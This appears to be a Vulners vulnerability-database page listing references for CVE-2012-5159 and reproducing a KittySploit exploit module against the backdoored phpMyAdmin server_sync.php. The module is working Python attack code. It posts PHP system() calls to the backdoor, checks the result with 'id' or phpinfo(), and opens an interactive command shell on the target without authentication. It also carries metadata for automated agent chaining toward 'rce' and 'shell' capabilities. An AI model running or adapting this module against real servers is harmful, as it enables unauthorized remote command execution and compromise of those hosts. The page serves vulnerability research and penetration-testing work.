Lucene search
+L

phpMyAdmin - server_sync.php Backdoor RCE (CVE-2012-5159)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated RCE in phpMyAdmin via server_sync.php backdoor.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2012-5159
10 Oct 201200:00
–circl
cve
CVE
CVE-2012-5159
25 Sep 201222:00
–cve
cvelist
Cvelist
CVE-2012-5159
25 Sep 201222:00
–cvelist
d2
d2
DSquare Exploit Pack: D2SEC_PMA_BACKDOOR
25 Sep 201222:55
–d2
debiancve
Debian CVE
CVE-2012-5159
25 Sep 201222:00
–debiancve
exploitdb
Exploit DB
phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit)
10 Oct 201200:00
–exploitdb
kittysploit
KittySploit
phpMyAdmin - server_sync.php Backdoor Detection (CVE-2012-5159)
10 Aug 202606:19
–kittysploit
metasploit
Metasploit
phpMyAdmin 3.5.2.2 server_sync.php Backdoor
25 Sep 201200:00
–metasploit
nvd
NVD
CVE-2012-5159
25 Sep 201222:55
–nvd
openvas
OpenVAS
phpMyAdmin 'server_sync.php' Backdoor Vulnerability
26 Sep 201200:00
–openvas
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyAdmin server_sync.php backdoor (CVE-2012-5159) — opens execute session."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'phpMyAdmin - server_sync.php Backdoor RCE (CVE-2012-5159)',
        'description': (
            'Exploits CVE-2012-5159 by POSTing PHP to /server_sync.php. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2012-5159'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2012-5159'],
        'tags': ['phpmyadmin', 'backdoor', 'rce', 'unauth', 'cve-2012-5159'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2012_5159_detect'],
            },
        },
    }

    base_path = OptString('/phpmyadmin', 'phpMyAdmin base path', required=False)

    def execute(self, cmd: str) -> str:
        base = str(self.base_path or '').rstrip('/')
        path = f'{base}/server_sync.php'
        # system() output
        safe = str(cmd).replace("'", "\\'")
        data = f"c=system('{safe}');"
        r = self.http_request(
            method='POST',
            path=path,
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or ('uid=' not in out and 'phpinfo' not in out.lower()):
            # soft check with phpinfo
            base = str(self.base_path or '').rstrip('/')
            r = self.http_request(
                method='POST',
                path=f'{base}/server_sync.php',
                data='c=phpinfo();',
                headers={'Content-Type': 'application/x-www-form-urlencoded'},
                allow_redirects=False,
            )
            if not r or '<title>phpinfo()' not in (r.text or ''):
                print_error('Target does not appear vulnerable to CVE-2012-5159')
                return False
        print_success('phpMyAdmin server_sync.php backdoor confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
6Medium risk
Vulners AI Score6
CVSS 27.5
EPSS0.74515
3